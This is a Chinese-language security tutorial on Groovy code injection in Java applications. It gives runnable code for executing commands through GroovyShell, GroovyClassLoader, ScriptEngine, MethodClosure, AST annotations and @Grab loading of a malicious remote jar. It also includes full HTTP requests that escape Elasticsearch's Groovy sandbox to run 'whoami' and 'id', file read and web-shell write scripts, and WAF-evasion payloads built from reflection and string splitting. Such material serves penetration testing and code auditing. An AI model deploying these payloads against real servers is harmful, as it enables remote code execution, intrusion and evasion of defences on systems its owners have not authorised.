Groovy是一种基于Java平台的动态语言,其设计目标是为Java开发者提供一种更简洁、高效和灵活的方式来编写代码,它与Java语言具有良好的兼容性,允许开发者在Java项目中无缝使用Groovy代码,具有简洁的语法和强大的功能可以用于脚本编写、自动化以及构建工具等多个场景,Groovy提供了与Java互操作的能力并且可以轻松地执行命令行命令,很多JAVA项目中都会使用Groovy来动态执行命令而未进行任何校验从而导致RCE,本篇文章主要是填之前迟迟没去系统性归纳Groovy所挖的坑~
首先使用IDEA来创建一个Maven项目,随后更改pom文件加入Groovy依赖:
<dependency><groupId>org.codehaus.groovy</groupId><artifactId>groovy-all</artifactId><version>2.4.3</version></dependency>
构造代码如下:
packagecom.al1ex;importgroovy.lang.GroovyShell;publicclassGroovyShellExample{publicstaticvoidmain(String[]args){GroovyShellshell=newGroovyShell();Stringscript="def runCalculator(){try{def process = Runtime.getRuntime().exec('calc.exe'); process.waitFor(); } catch (Exception e) { println 'Error:' + e.message;} };runCalculator()";shell.evaluate(script);}}
执行效果如下:
Java代码中常用的运行groovy方式有如下几种:
GroovyShell是Groovy提供的一个强大工具,它可以用于动态执行Groovy代码片段,我们通过GroovyShell我们可以轻松地在Java程序中执行Groovy脚本并且能够与Java对象进行交互,下面是一个简易的执行示例:
packagecom.al1ex;importgroovy.lang.GroovyShell;publicclassGroovyShellExample{publicstaticvoidmain(String[]args){GroovyShellshell=newGroovyShell();Stringscript="def runCalculator(){try{def process = Runtime.getRuntime().exec('calc.exe'); process.waitFor(); } catch (Exception e) { println 'Error:' + e.message;} };runCalculator()";shell.evaluate(script);}}
执行效果如下:
下面我们对执行过程进行一个调试分析:
调用groovy.lang.GroovyShell#evaluate(java.lang.String)来执行命令在这里又调用了重载的方法evaluate,在这里会随机生成一个ScripName作为groovy脚本的名称,设置执行Groovy的命令执行为/groovy/shell
继续跟进this.evaluate(gcs),继续跟进:
随后调用parse进行脚本解析并调用script.run进行执行,后续调用了底层
在执行脚本期间会加载对应的类随后执行对应的方法:
调用栈信息如下:
runCalculator:1,Script1run:1,Script1evaluate:589,GroovyShell(groovy.lang)evaluate:627,GroovyShell(groovy.lang)evaluate:598,GroovyShell(groovy.lang)main:9,GroovyShellExample(com.al1ex)
在上面的示例中我们是直接模拟的用户可以控制执行的脚本内容的场景,而部分场景中还涉及本地加载和远程加载两种方式,下面我们介绍本地加载方式:
加载方式1: 执行的Groovy脚本从本地加载执行:
packagecom.al1ex;importgroovy.lang.GroovyShell;importgroovy.lang.Script;importjava.io.File;importjava.io.IOException;publicclassGroovyShellLocalRun{publicstaticvoidmain(String[]args)throwsIOException{GroovyShellshell=newGroovyShell();Scriptscript=shell.parse(newFile("src/main/java/com/groovyDemo/GroovyTest.groovy"));script.run();}}
GroovyTest.groovy脚本内容如下:
packagecom.groovyDemodefrunCalculator(){try{defprocess=Runtime.getRuntime().exec('calc.exe');process.waitFor();}catch(Exceptione){println'Error:'+e.message;}}runCalculator()
运行结果如下所示:
加载方式2
除去上面的方式之外我们还可以通过调用GroovyShell的evaluate方法进行执行
备注:这里的从本地加载的情况,当我们可以编辑Groovy文件或者通过上传Groovy文件到服务器端并可控制解析的路径时则可以充分利用
我们除了本地加载Groovy脚本进行执行之外还可以通过远程方式来加载脚本执行,例如:
packagecom.al1ex;importgroovy.lang.GroovyShell;importjava.io.IOException;importjava.net.URI;importjava.net.URISyntaxException;publicclassGroovyShellRemoteRun{publicstaticvoidmain(String[]args)throwsIOException,URISyntaxException{GroovyShellshell=newGroovyShell();shell.evaluate(newURI("http://127.0.0.1:8888/GroovyTest.groovy"));}}
MethodClosure是Groovy中的一个类,它允许你将某个方法与特定的对象绑定在一起,它类似于Java中的闭包,但更注重方法的封装和重用,使用MethodClosure可以简化对对象方法的调用,同时也可以用于异步编程或事件处理等场景,此类场景的利用需要参数可控
在这里直接使用MethodClosure对Runtime.getRuntim().exec进行封装,然后通过call来进行调用并传递参数,从而实现命令执行:
packagecom.al1ex;importorg.codehaus.groovy.runtime.MethodClosure;publicclassMethodClosureRun{publicstaticvoidmain(String[]args)throwsException{MethodClosuremc=newMethodClosure(Runtime.getRuntime(),"exec");mc.call("calc");}}
执行结果如下所示:
示例代码如下所示:
packagecom.al1ex;importorg.codehaus.groovy.runtime.MethodClosure;publicclassMethodClosureRun2{publicstaticvoidmain(String[]args){MethodClosuremethodClosure=newMethodClosure("calc","execute");methodClosure.call();}}
GroovyScriptEngine是Groovy提供的一个强大工具,它可以用来动态加载和执行Groovy脚本,它支持从本地文件系统或远程位置(例如:如URL)加载脚本,并且可以在Groovy脚本中使用Java对象
示例代码如下所示:
packagecom.al1ex;importgroovy.util.GroovyScriptEngine;publicclassGroovyScriptEngineRun{publicstaticvoidmain(String[]args)throwsException{GroovyScriptEnginescriptEngine=newGroovyScriptEngine("src/main/java/com/groovyDemo");//指定包含Groovy脚本的目录scriptEngine.run("GroovyTest.groovy","");//执行脚本并获取返回值}}
执行结果如下所示:
通过Binding()方式直接加载:
packagecom.al1ex;importgroovy.lang.Binding;importgroovy.util.GroovyScriptEngine;publicclassGroovyScriptEngineRun2{publicstaticvoidmain(String[]args)throwsException{GroovyScriptEnginescriptEngine=newGroovyScriptEngine("");scriptEngine.run("src/main/java/com/groovyDemo/GroovyTest.groovy",newBinding());}}
执行结果如下所示:
通过调用远程url之后调用特定脚本
packagecom.al1ex;importgroovy.lang.Binding;importgroovy.util.GroovyScriptEngine;publicclassGroovyScriptEngineRun3{publicstaticvoidmain(String[]args)throwsException{GroovyScriptEnginescriptEngine=newGroovyScriptEngine("http://127.0.0.1:8888/");scriptEngine.run("GroovyTest.groovy","");}}
执行结果如下:
备注:这里不能使用Python进行托管哦,建议直接Apache+Groovy脚本
GroovyClassLoader是Groovy提供的一个类,它可以用于动态加载和编译Groovy类,同时也可以从字符串、文件或其他资源中加载Groovy代码并将其编译为Java字节码,随后可以在Java程序中使用这些类
下面是一则从字符串中提取加载Groovy代码的示例:
packagecom.al1ex;importgroovy.lang.GroovyClassLoader;publicclassGroovyClassLoaderRun{publicstaticvoidmain(String[]args)throwsException{// 创建 GroovyClassLoader 实例GroovyClassLoadergroovyClassLoader=newGroovyClassLoader();// Groovy 源代码:包含打开计算器的方法StringgroovyCode="class CalculatorOpener { void openCalculator() { try { Runtime.getRuntime().exec(\"calc.exe\"); } catch (Exception e) { e.printStackTrace(); } } }";try{// 从字符串中解析并加载 Groovy 类Class<?>calculatorOpenerClass=groovyClassLoader.parseClass(groovyCode);// 创建 CalculatorOpener 类的实例ObjectcalculatorOpenerInstance=calculatorOpenerClass.getDeclaredConstructor().newInstance();// 调用 openCalculator 方法calculatorOpenerClass.getMethod("openCalculator").invoke(calculatorOpenerInstance);}catch(Exceptione){e.printStackTrace();}}}
执行结果如下所示:
Groovy脚本如下:
packagecom.groovyDemoclassCalculatorOpener{voidopenCalculator(){try{// 使用 Runtime 执行 calc.exeRuntime.getRuntime().exec("calc.exe");}catch(Exceptione){e.printStackTrace();}}}
主程序代码如下:
packagecom.al1ex;importgroovy.lang.GroovyClassLoader;importjava.io.File;publicclassGroovyClassLoaderRun2{publicstaticvoidmain(String[]args){// 创建 GroovyClassLoader 实例GroovyClassLoaderclassLoader=newGroovyClassLoader();try{// 指定包含 Groovy 文件的路径(请根据实际情况修改路径)FilegroovyFile=newFile("src/main/java/com/groovyDemo/CalculatorOpener.groovy");// 从文件中解析并加载Groovy类Class<?>calculatorOpenerClass=classLoader.parseClass(groovyFile);// 创建CalculatorOpener类的实例ObjectcalculatorOpenerInstance=calculatorOpenerClass.getDeclaredConstructor().newInstance();// 调用openCalculator方法calculatorOpenerClass.getMethod("openCalculator").invoke(calculatorOpenerInstance);}catch(Exceptione){e.printStackTrace();}}}
运行结果如下所示:
Groovy脚本如下:
packagecom.groovyDemoclassCalculatorOpener{voidopenCalculator(){try{// 使用 Runtime 执行 calc.exeRuntime.getRuntime().exec("calc.exe");}catch(Exceptione){e.printStackTrace();}}}
主程序代码如下:
packagecom.al1ex;importgroovy.lang.GroovyClassLoader;importgroovy.lang.GroovyCodeSource;importjava.io.IOException;importjava.net.URL;publicclassGroovyClassLoaderRun3{publicstaticvoidmain(String[]args)throwsIOException{// 创建 GroovyClassLoader 实例GroovyClassLoaderclassLoader=newGroovyClassLoader();try{// 指定远程 Groovy 文件的 URL(请根据实际情况修改 URL)URLgroovyFileUrl=newURL("http://127.0.0.1/CalculatorOpener.groovy");// 使用 GroovyCodeSource 包装 URLGroovyCodeSourcecodeSource=newGroovyCodeSource(groovyFileUrl);// 从 GroovyCodeSource 中解析并加载 Groovy 类Class<?>calculatorOpenerClass=classLoader.parseClass(codeSource);// 创建 CalculatorOpener 类的实例ObjectcalculatorOpenerInstance=calculatorOpenerClass.getDeclaredConstructor().newInstance();// 调用 openCalculator 方法calculatorOpenerClass.getMethod("openCalculator").invoke(calculatorOpenerInstance);}catch(Exceptione){e.printStackTrace();}finally{// 关闭类加载器,释放资源classLoader.close();}}}
运行结果如下所示:
在ScriptEngine中支持名为groovy的引擎且可用来执行Groovy代码,这点和在SpEL表达式注入漏洞中讲到的同样是利用ScriptEngine支持JS引擎从而实现绕过达到RCE是一样的
简易示例代码如下所示:
packagecom.al1ex;importjavax.script.ScriptEngine;importjavax.script.ScriptEngineManager;importjavax.script.ScriptException;publicclassGroovyScriptEngineExample{publicstaticvoidmain(String[]args){// 创建 ScriptEngineManager 实例ScriptEngineManagermanager=newScriptEngineManager();// 获取 Groovy 引擎ScriptEngineengine=manager.getEngineByName("groovy");// Groovy 代码字符串Stringscript="def runCalculator(){try{def process = Runtime.getRuntime().exec('calc.exe');process.waitFor();} catch (Exception e) {println 'Error:' + e.message;}};runCalculator()";try{// 执行 Groovy 脚本Objectresult=engine.eval(script);}catch(ScriptExceptione){e.printStackTrace();}}}
执行结果如下所示:
在Groovy中@AST注解是指抽象语法树(Abstract Syntax Tree)相关的注解,这些注解可以用于修改和增强Groovy代码的编译时行为,使用AST转化可以让开发者以声明的方式扩展语言特性或实现一些元编程功能,我们也可以利用AST注解能够执行断言从而实现代码执行(本地测试无需assert也能触发代码执行)
下面是一则简易执行示例:
this.class.classLoader.parseClass('''@groovy.transform.ASTTest(value={assertRuntime.getRuntime().exec("calc")})defx''');
运行主程序如下所示:
packagecom.al1ex;importgroovy.lang.GroovyShell;importgroovy.lang.Script;importjava.io.File;importjava.io.IOException;publicclassGroovyShellLocalRun{publicstaticvoidmain(String[]args)throwsIOException{GroovyShellshell=newGroovyShell();Scriptscript=shell.parse(newFile("src/main/java/com/groovyDemo/GroovyTest.groovy"));script.run();}}
运行程序结果如下所示:
@Grab注解是Groovy中一个非常强大的功能,它允许你在运行时动态地引入和下载依赖的库,这个注解使得Groovy脚本可以轻松地引用外部库,而不需要手动管理类路径或构建系统
下面介绍如何通过@Grab来远程加载恶意类: Step 1:创建一个恶意类的jar包
publicclassExp{publicExp(){try{java.lang.Runtime.getRuntime().exec("calc");}catch(Exceptione){}}}
编译程序并使用python启动一个HTTP服务托管对应的JAR包文件
"C:\Program Files\Java\jdk1.8.0_102\bin\javac.exe"Exp.javaechoExp>META-INF/services/org.codehaus.groovy.plugins.Runnersjarcvfpoc-0.jarExp.classMETA-INF
创建子目录"\test\poc\0"并将poc-0.jar文件丢进去
随后在根目录中启动HTTP服务进行托管
Step 2:构造GroovyTest.groovy文件
this.class.classLoader.parseClass('''@GrabConfig(disableChecksums=true)@GrabResolver(name='Exp',root='http://127.0.0.1:1234/')@Grab(group='test',module='poc',version='0')importExp;''')
上面的这段代码使用了Groovy的类加载机制和@Grab注解来动态加载远程依赖,其中this.class.classLoader获取当前类的类加载器,Groovy和Java都使用类加载器来加载类,parseClass(...)接受字符串形式的 Groovy代码并将其解析为一个类,在这个上下文中,它允许你动态地定义和加载一个Groovy类:
Step 3:执行主程序代码
packagecom.al1ex;importgroovy.lang.GroovyShell;importgroovy.lang.Script;importjava.io.File;importjava.io.IOException;publicclassGroovyShellLocalRun{publicstaticvoidmain(String[]args)throwsIOException{GroovyShellshell=newGroovyShell();Scriptscript=shell.parse(newFile("src/main/java/com/groovyDemo/GroovyTest.groovy"));script.run();}}
运行结果如下所示:
备注:在使用时需要服务端包含ivy的第三方依赖库
<!--https://mvnrepository.com/artifact/org.apache.ivy/ivy --><dependency><groupId>org.apache.ivy</groupId><artifactId>ivy</artifactId><version>2.5.2</version></dependency>
这里的Groovy代码注入的利用方式主要时基于以下几类:
这里我们使用ES作为Groovy命令执行漏洞的演示案例:
ElasticSearch支持使用在沙盒中的Groovy语言作为动态脚本:
ES对执行Java代码有沙盒,在这里我们可以使用Java反射来绕过:
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()
发送包含payload的数据包,执行任意命令
POST/_searchHTTP/1.1Host:192.168.189.130:9200Cache-Control:max-age=0Upgrade-Insecure-Requests:1User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/129.0.0.0Safari/537.36Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language:zh-CN,zh;q=0.9Connection:closeContent-Length:158{"size":1,"script_fields":{"lupin":{"lang":"groovy","script":"java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}
备注:在查询时由于至少要求es中有一条数据,所以发送如下数据包增加一个数据:
POST/website/blog/HTTP/1.1Host:192.168.189.130:9200Cache-Control:max-age=0Upgrade-Insecure-Requests:1User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/129.0.0.0Safari/537.36Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language:zh-CN,zh;q=0.9Connection:closeContent-Length:22{"name":"test"}
Groovy原本也是一门语言,所以也可以直接使用Groovy语言支持的方法来直接执行命令,无需使用Java语言:
defcommand="whoami";defres=command.execute().text;res
POST/_searchHTTP/1.1Host:192.168.189.130:9200Cache-Control:max-age=0Upgrade-Insecure-Requests:1User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/129.0.0.0Safari/537.36Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language:zh-CN,zh;q=0.9Connection:closeContent-Length:122{"script_fields":{"my_field":{"script":"def command=\"whoami\";def res=command.execute().text;res","lang":"groovy"}}}
GroovyTest.Groovy脚本内容如下:
text=newFile("C:\\Windows\\system.ini").eachLine{printlnit;}
GroovyShellLocalRun主程序代码如下所示:
packagecom.al1ex;importgroovy.lang.GroovyShell;importgroovy.lang.Script;importjava.io.File;importjava.io.IOException;publicclassGroovyShellLocalRun{publicstaticvoidmain(String[]args)throwsIOException{GroovyShellshell=newGroovyShell();Scriptscript=shell.parse(newFile("src/main/java/com/groovyDemo/GroovyTest.groovy"));script.run();}}
执行结果如下:
读取方式2:
lineList=newFile("C:\\Windows\\system.ini").readLines();lineList.each{printlnit.toUpperCase();}
GroovyTest.Groovy脚本内容如下:
newFile("C:\\Users\\RedTeam\\Desktop\\SecTest\\shell.jsp").write('HelloAl1ex');
GroovyShellLocalRun主程序代码如下所示:
packagecom.al1ex;importgroovy.lang.GroovyShell;importgroovy.lang.Script;importjava.io.File;importjava.io.IOException;publicclassGroovyShellLocalRun{publicstaticvoidmain(String[]args)throwsIOException{GroovyShellshell=newGroovyShell();Scriptscript=shell.parse(newFile("src/main/java/com/groovyDemo/GroovyTest.groovy"));script.run();}}
执行结果如下:
写入方式2:
newFile("C:\\Users\\RedTeam\\Desktop\\SecTest\\shell.jsp").write("""GoodmorningGoodafternoonGoodevening""");
在我们做代码审计时我们发现目标存在Groovy命令执行的风险,但是发现我们注入的命令最终被WAF拦截导致并未被执行,下面介绍几种Groovy命令执行时可用的WAF绕过方式和技巧,注意侧重于关于Groovy文件内容的编造
#常规执行"calc".execute()'calc'.execute()"${"calc".execute()}""${'calc'.execute()}"#结果回显println"whoami".execute().textprintln'whoami'.execute().textprintln"${"whoami".execute().text}"println"${'whoami'.execute().text}"defcmd="whoami";println"${cmd.execute().text}"#反射调用importjava.lang.reflect.Method;Class<?>rt=Class.forName("java.lan"+"g.Run"+"time");Methodgr=rt.getMethod("getRun"+"time");Methodex=rt.getMethod("exe"+"c",String.class);ex.invoke(gr.invoke(null),"cal"+"c")
本篇文章主要对JAVA中的Groovy命令执行方式以及利用场景、WAF绕过、载荷构造等进行了介绍,具体的实战环境中还需结合具体的业务和过滤情形来构造可用的载荷,灵活多变~